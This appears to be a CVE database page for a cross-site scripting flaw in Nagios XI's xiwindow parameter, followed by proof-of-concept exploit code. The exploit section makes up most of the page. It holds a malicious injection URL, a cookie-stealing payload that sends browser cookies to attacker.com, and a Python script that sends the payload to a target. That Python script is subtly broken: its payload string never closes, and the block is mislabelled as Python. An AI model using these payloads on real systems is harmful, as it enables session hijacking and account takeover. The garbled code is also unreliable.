CVE-2011-10037

Description

Nagios XI versions prior to 2011R1.9 are vulnerable to cross-site scripting (XSS) via the handling of xiwindow variables used to build permalinks in the web interface. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1.1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1.2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2011:r1.3:*:*:*:*:*:* - VULNERABLE

Nagios XI < 2011R1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2011-10037 Nagios XI XSS PoC -->
<!-- Target: Nagios XI versions prior to 2011R1.9 -->
<!-- Attack Vector: Malicious xiwindow parameter in URL -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2011-10037 PoC</title>
</head>
<body>
    <h2>CVE-2011-10037 Nagios XI XSS PoC</h2>
    <p>Target: Nagios XI < 2011R1.9</p>
    
    <h3>Malicious URL:</h3>
    <textarea id="maliciousUrl" rows="3" cols="80" readonly>
https://[NAGIOS_XI_HOST]/nagiosxi/includes/components/xicore/xicore.php?xiwindow=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E%3Cx%20y=%22
    </textarea>
    
    <h3>Cookie Stealing Payload:</h3>
    <textarea id="cookiePayload" rows="2" cols="80" readonly>
javascript:document.location='http://attacker.com/steal?cookie='+document.cookie
    </textarea>
    
    <h3>Python PoC Script:</h3>
    <pre>
import requests

target = "http://[NAGIOS_XI_HOST]/nagiosxi/includes/components/xicore/xicore.php"
xss_payload = "\"><script>alert(document.cookie)</script>\"
params = {"xiwindow": xss_payload}

response = requests.get(target, params=params)
print(f"Status: {response.status_code}")
print(f"Response length: {len(response.text)}")
    </pre>
    
    <script>
        // Basic XSS detection script
        function testXSS() {
            const testPayload = "<script>alert('XSS')</script>";
            console.log("Testing XSS payload:", testPayload);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2011-10037
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2011-10037
[3] CVE Details https://www.cvedetails.com/cve/CVE-2011-10037/
[4] VulDB https://vuldb.com/cve/CVE-2011-10037
[5] http://0a29.blogspot.com/2011/12/0a29-11-3-cross-site-scripting.html
[6] https://www.nagios.com/changelog/nagios-xi/
[7] https://www.vulncheck.com/advisories/nagios-xi-xss-via-xiwindow-variables-affecting-permalinks

Raw JSON Data

JSON

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